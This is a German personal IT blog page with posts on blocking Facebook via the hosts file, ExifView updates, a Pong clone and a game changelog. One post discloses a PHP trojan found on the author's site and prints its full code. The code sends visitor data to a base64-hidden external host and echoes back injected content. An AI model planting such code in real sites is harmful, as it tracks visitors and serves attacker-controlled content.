Codefieber.de

IT-Blog

26 Juli, 2012
von Pascal
3 Kommentare

Facebook sperren – Eine Anleitung


Da ich ja nun auch meinen Facebook-Account gelöscht habe, wie hier schon geschrieben, möchte ich im selben Zuge die “ganzen” Facebookseiten sperren, damit man dort nicht mehr so einfach hin navigieren kann.

Hier eine kurze Anleitung:

Es gibt in Windows die sogenannte Hosts-Datei, in der man Domainnamen auf beliebige IP-Adressen umleiten kann. Die Datei liegt normalerweise unter C:\Windows\system32\drivers\etc\ heißt nur «hosts» und besitzt keine Dateiendung.

Die host-Datei wird nun im Notepad-Editor geöffnet. Die Zeilen, die in der bestehenden Hosts-Datei mit dem #-Zeichen beginnen, dienen nur der Erklärung und für Beispiele.
Wir wollen sämtliche zu Facebook gehörenden Domains ins Leere laufen lassen, weshalb wir sie auf unseren eigenen PC umleiten.
Hierfür nutzen wir die “localhost”-IP-Adresse 127.0.0.1. Diese zeigt immer auf den eigenen PC.

Die Liste die ich unten bereit stelle, wird nun kopiert und in die “hosts”-Datei eingefügt:

# facebook
127.0.0.1 de-de.facebook.com
127.0.0.1 www.facebook.com
127.0.0.1 facebook.com
127.0.0.1 ok.facebook.com
127.0.0.1 nl-nl.facebook.com
127.0.0.1 www.nl-nl.facebook.com
127.0.0.1 facebook.nl
127.0.0.1 www.facebook.nl
127.0.0.1 login.facebook.com.nl
127.0.0.1 www.login.facebook.com.nl
127.0.0.1 facebook.com.au
127.0.0.1 www.ok.facebook.com
127.0.0.1 a.ok.facebook.com
127.0.0.1 www.a.ok.facebook.com
127.0.0.1 facebook.com.au
127.0.0.1 www.facebook.com.au
127.0.0.1 www.facebook.com.au
127.0.0.1 login.facebook.com.au
127.0.0.1 www.login.facebook.com.au
127.0.0.1 www-10-01-snc2.facebook.com
127.0.0.1 www-11-01-snc2.facebook.com
127.0.0.1 www-10-03-ash1.facebook.com
127.0.0.1 www-12-08-ash1.facebook.com
127.0.0.1 www-13-08-ash1.facebook.com
127.0.0.1 static.ak.fbcdn.net
127.0.0.1 www.static.ak.fbcdn.net
127.0.0.1 www.ads.ak.facebook.com
127.0.0.1 static.ak.connect.facebook.com
127.0.0.1 www.static.ak.connect.facebook.com
127.0.0.1 login.facebook.com
127.0.0.1 www.login.facebook.com
127.0.0.1 fbcdn.net
127.0.0.1 www.fbcdn.net
127.0.0.1 fbcdn.com
127.0.0.1 www.fbcdn.com
127.0.0.1 ads.ak.facebook.com
127.0.0.1 login.facebook.com
127.0.0.1 www.login.facebook.com

Theoretisch kann man noch die Facebook-IP-Adressen mit einfügen. Meiner Recherche nach, sollen nachfolgende IP-Adressen zu Facebook verweisen:

Adressenbereich von bis:

  • 66.220.144.0 – 66.220.159.255
  • 69.63.176.0 – 69.63.191.255
  • 204.15.20.0 – 204.15.23.255

Adressen:

  • 69.63.176.13
  • 69.63.181.15
  • 69.63.184.142
  • 69.63.187.17
  • 69.63.187.18
  • 69.63.187.19
  • 69.63.181.11
  • 69.63.181.12

13 Juni, 2012
von Pascal
Keine Kommentare

Neuerungen in ExifView kommen demnächst

Die genannten Neuerungen vom 24.04.2012 sind in der neuen Version von ExifView implementiert worden. Release ist aber noch nicht vorgesehen.

Größte Neuerung an der ich nun arbeite, ist die Bearbeitung der Exifdaten des jeweiligen Bildes. D.h. wer möchte, kann seine ausgelesenen Daten durch eigene ersetzen.

Wann die neue Version mit den genannten Neuerungen heraus kommt, steht noch nicht fest..

Außerdem kann man ExifView auch auf Heise.de, Netzwelt.de und diversen anderen Downloadportalen herunterladen.

Weitere Infos zu ExifView | Neuigkeiten zu ExifView

Heise.de Netzwelt.de

24 April, 2012
von Pascal
1 Kommentar

ExifView 1.1.0 in der Mache

Da sich in einer Software ja bekanntlich immer wieder Bugs einschleichen und man auch mal ein paar neue Ideen hat um eine Software zu verbessern, bin ich dabei meine “Bildinformationssoftware” “ExifView” zu verbessern.

Version 1.1.0 soll nachfolgend die neuen Features aufzeigen:

Die Exifdaten des geladenen Bildes werden nun Tabellarisch angezeigt.
Desweiteren kann man das Bild in Base64 encodieren und sofern das Bild GPS-Informationen besitzt, können diese ebenfalls ausgelesen- und über GoogleMaps angezeigt werden.

Außerdem kann man – wenn man möchte – ExifView in das Explorermenü von Windows integrieren und per Rechtsklick auf ein Bild (JPG, GIF, PNG), ExifView starten und die Bildinformationen direkt auslesen lassen.

Weitere Infos zu ExifView sind hier zu finden!

Ein Vorabscreenshot ist hier zu sehen:

ExifView via GPS

ExifView Base64 encoding

Weitere Infos zu ExifView sind hier zu finden!

10 April, 2012
von Pascal
Keine Kommentare

Schadhafter Code – PHP Trojaner von adveconfirm.com

Seit geraumer Zeit wurde mir laut meines Anti-Viren-Programms angezeigt, dass auf meiner Page schadhafter Code ausgeführt wird…
Nachdem ich etwas recherchiert habe, fand ich folgende Seite: IT-Blögg in der von dem Code berichtet wird.

Kurzerhand mal nachgeschaut und siehe da: Genau der selbe Code auf meiner Page!

Man kann davon ausgehen, dass der FTP Account gehacked wurde und der Code als JS/Kryptik.CB Trojaner bzw. JS/Kryptik.LX Trojaner erkannt wird (ThreadSense ESET Updates)

Base64 Decode:

$stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').

--> 

Nachfolgend der Code:

<?
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

28 Februar, 2012
von Pascal
1 Kommentar

Ping Pong Clone mit BlitzMax

Nachdem ich meinen Sourcecode von Star-Fighter leider so wie es scheint für immer verlegt habe, beschloss ich mich mal mit BlitzMax zu beschäftigen.

BlitzMax ist ebenfalls wie BlitzBasic bzw. Blitz3D eine Programmiersprache mit Basic-Syntax, welche sich vor allem zum Programmieren von PC-Spielen eignet.

Star-Fighter wurde zum Beispiel in BlitzBasic programmiert. Größte Neuerung von BlitzMax gegenüber BlitzBasic ist, dass man nun auch objektorientiert programmieren- und seine Spiele bzw. Anwendungen auch auf Linux bzw. MacOS X portieren kann.

Als erste Anwendung kam nun ein Ping Pong Clone heraus, den ich hier gerne vorstellen möchte:

Ping Pong Clone - BlitzMax

22 Februar, 2012
von Pascal
Keine Kommentare

Star-Fighter Change_Log hinzugefügt

Damit man den Spielaufbau bis zur Version 0.26a auch hier nachvollziehen kann, habe ich den Change_Log von meinem alten Star-Fighter Projekt auch hier hinzugefügt.

Der Change_Log ist auf der Star-Fighter Page zu finden, oder auch hier einzusehen:

 

Star-Fighter Screenshot 1

 

Change_Log:

Version: 0.26 ALPHA 31.01.2005

– Bugs: Bildschirmwackeln bei Spieler Explosion (noch Testweise, funktioniert noch
nicht richtig!)
– Bugs: Bildschirmwackeln funktioniert noch nicht richtig!
– Bugs: Explosion von Gegner verschwindet nicht (bei Kollision mit Spieler und Gegner)
– Bugs: Explosion von Spieler ist rechts unter dem Raumschiff
– Bugs: Energie-Prozent-Anzeige geht ins minus(-) , Lebens-Anzeige geht ins minus(-)
– Bugs: Spiel geht weiter auch wenn die Lebensanzeige = 0 oder = – (minus) ist.
– Bugs: Man kann wenn die Lebensenergie = 0 oder = – (minus) ist durch die Gegner
durch fliegen (es passiert dann nichts mehr [KEINE Kollison])
– Fixed: Some other Bugs!

Version: 0.25 ALPHA 21.01.2005

Added: Bildschirmwackeln bei Spieler Explosion (noch Testweise, funktioniert noch
nicht richtig!)
– Bugs: Bildschirmwackeln funktioniert noch nicht richtig!
– Bugs: Explosion von Gegner verschwindet nicht (bei Kollision mit Spieler und Gegner)
– Bugs: Explosion von Spieler ist rechts unter dem Raumschiff
– Bugs: Energie-Prozent-Anzeige geht ins minus(-) , Lebens-Anzeige geht ins minus(-)
– Bugs: Spiel geht weiter auch wenn die Lebensanzeige = 0 oder = – (minus) ist.
– Bugs: Man kann wenn die Lebensenergie = 0 oder = – (minus) ist durch die Gegner
durch fliegen (es passiert dann nichts mehr [KEINE Kollison])

Version: 0.24 ALPHA 04.01.2005

– Added: Highscore-Funktion (noch Testweise)
– Bugs: Explosion von Gegner verschwindet nicht (bei Kollision mit Spieler und Gegner)
– Bugs: Explosion von Spieler ist rechts unter dem Raumschiff
– Bugs: Energie-Prozent-Anzeige geht ins minus(-) , Lebens-Anzeige geht ins minus(-)
– Bugs: Spiel geht weiter auch wenn die Lebensanzeige = 0 oder = – (minus) ist.

Version: 0.23 ALPHA 03.01.2005

– Added: Alle 4 Gegnerrassen werden nun zerstört wenn der Spieler mit dem Gegner
Kollidiert!
– Added: PAUSE-Funktion erstellt. Mit der Taste “P” kann das Laufende Spiel pausiert
werden. Erneutes Drücken auf “P” und das Spiel geht normal weiter.
– Added: ICON für die *.exe-datei erstellt und wird nun auch immer dabei sein. (Also
NICHT mehr die Standard Rakete von Blitz Basic!)
– Bugfixed: FPS (Frames per Second) in der *.exe-Datei sind jetzt über 80 FPS! Das Spiel
ist nun schneller. (Compiler: Blitz3D)
– Bugs: Explosion von Gegner verschwindet nicht (bei Kollision mit Spieler und Gegner)
– Bugs: Explosion von Spieler ist rechts unter dem Raumschiff
– Bugs: Energie-Prozent-Anzeige geht ins minus(-) , Lebens-Anzeige geht ins minus(-)
– Bugs: Spiel geht weiter auch wenn die Lebensanzeige = 0 oder = – (minus) ist.

Version: 0.22 ALPHA 02.01.2005

– Added: Energieanzeige minimiert sich, wenn man mit dem Feind Kollidiert. Wenn der
Energiebalken auf 0 steht (also nichts mehr zu sehen ist vom Balken), dann
Explodiert das Spieler-Raumschiff.
– Bugs: Explosion von Gegner verschwindet nicht (bei Kollision mit Spieler und Gegner)
– Bugs: Explosion von Spieler ist rechts unter dem Raumschiff
– Bugs: FPS (Frames per Second) in der *.exe-Datei bleibt immer bei 42 FPS.
(Blitz Plus Bug -> Compiler Bug)

Version: 0.21 ALPHA 01.01.2005

– Added: Spieler Explosion (wenn Gegner mit Spieler Kollidiert!)
[Funktioniert noch nicht so richtig]
– Added: Modfähigkeit (Modifikationen am Spiel) | Es können nun auch Mods für dieses
Spiel erstellt werden! (z.B.: Andere Bilder. Beachte: Es müssen die Selben
Dateinamen sein.
– Added: Energie-Balken kann minimiert und maximiert werden [Tasten: A = -10 | D = +10]
(Nur für Testzwecke!)
– Added: Der DEBUG-MODUS hat nun Rote Schrift und kann seit der Version 0.18 ALPHA
AN / AUS geschaltet werden. (Screenshot (F4) und Energiebalken-Tasten
verschwinden ebenfalls!)
– Bugs: Explosion von Gegner verschwindet nicht (bei Kollision mit Spieler und Gegner)
– Bugs: Explosion von Spieler ist rechts unter dem Raumschiff

Version: 0.20 ALPHA 29.12.2004

– Added: Screenshot kann erstellt werden (F4-Taste). Gespeichert wird im Ordner
screenshot (dieser muss vorhanden sein!)
– Added: Ordner screenshot
– Added: Obere Begrenzung damit das Raumschiff nicht unter den Amaturen verschwindet!
– Added: Testweise ein “Kollisions” Text wenn der Gegner mit dem Spieler Kollidiert.
Fehlt nur noch die Animation (Explosion)
Bugs: Explosion von Gegner verschwindet nicht (bei Kollision mit Spieler und Gegner)

Version: 0.19 ALPHA 27.12.2004

– Added: Amaturen-Anzeige oben, FPS, Leben, Energie, Score (NEUE Grafiken)
– Added: FPS (Frames per Second, deu: Bilder pro Sekunde) wird gemessen / angezeigt.
– Added: Gegnerexplosion funktioniert jetzt einwandfrei (Gegner-Rasse 1)
– Bugfixed: Explosionen links oben in der Ecke GEFIXED
– Bugfixed: Gegnerexplosion funktioniert jetzt einwandfrei (Gegner-Rasse 1)
– Bugs: Explosion von Gegner verschwindet nicht (bei Kollision mit Spieler und Gegner)

Version: 0.18 ALPHA 26.12.2004

– Added: DEBUG-MODUS AN / AUS (An und Aus schalten, mit 1[AN] und mit 2[AUS])
– Added: Im DEBUG-MODUS ist nun ein Test-Alien um die Kollision zu Testen! (rechts)
– Added: Gegnerkollision (leider erstmal nur wenn die Rakete schon geschossen wurde)
(Dann Explodieren momentan nur die Gegner (Rasse 1) )

Version: 0.17 ALPHA 25.12.2004

– Added: Mausunterstützung (Funktioniert jetzt einwandfrei!!)
– Added: Maustaste 1 (linke Maustaste) = Feuern
– Added: Kollision mit Gegner (momentan nur rechts in der mitte [DEBUG-MODUS] )
– Bugfixed: Mausunterstützung (Funktioniert jetzt einwandfrei!!)

Version: 0.16 ALPHA 16.12.2004

– Added: Start-Hintergrund-Bild
– Added: Leertaste muss gedrückt werden um zu Starten
– Added: Mausunterstützung (funktioniert noch nicht so richtig)

Version: 0.15 ALPHA 15.12.2004

– Added: 2 Neue Gegnerrassen (Ab 500 Punkten)
– Added: 2 Neue Explosionen (Ab 750 Punkten)
– Added: 2. Gegnerwelle nun ab 250 Punkten
– Bugfixed: Hintergrundmusik geloopt (sonst hört die Musik einfach auf)

Version: 0.14 ALPHA 13.12.2004

– Added: X | Y Achsen anzeige erstellt (DEBUG-MODUS)
– Added: Hintergrundmusik (Hardrock)
– Bugfixed: Score, Punkte Bug bereinigt

Version: 0.13 ALPHA 12.12.2004

– Added: Lebensanzeige erstellt
– Added: Ab 200 Punkten kommen neue Gegner! (Die selbe Gegnerrasse!!)
– Added: Raumschiff läst sich jetzt schneller steuern (Fliegt jetzt schneller)

Version: 0.12 ALPHA 11.12.2004

– Added: Scoreanzeige etwas verändert
– Bugfixed: Scoreanzeige gefixed (Punkte wurden immer schneller)

Version: 0.11 ALPHA 06.12.2004

– Added: Scoreanzeige erstellt
– Bugfixed: Explosion gefixed da die Explosion nicht richtig angezeigt wurde!

Version: 0.10 ALPHA Beginn mit der Arbeit am 04.12.2004 (Programmieren und Grafiken erstellen)

– Added: Ordner gfx
– Added: Ordner sfx
– Erste Release-Version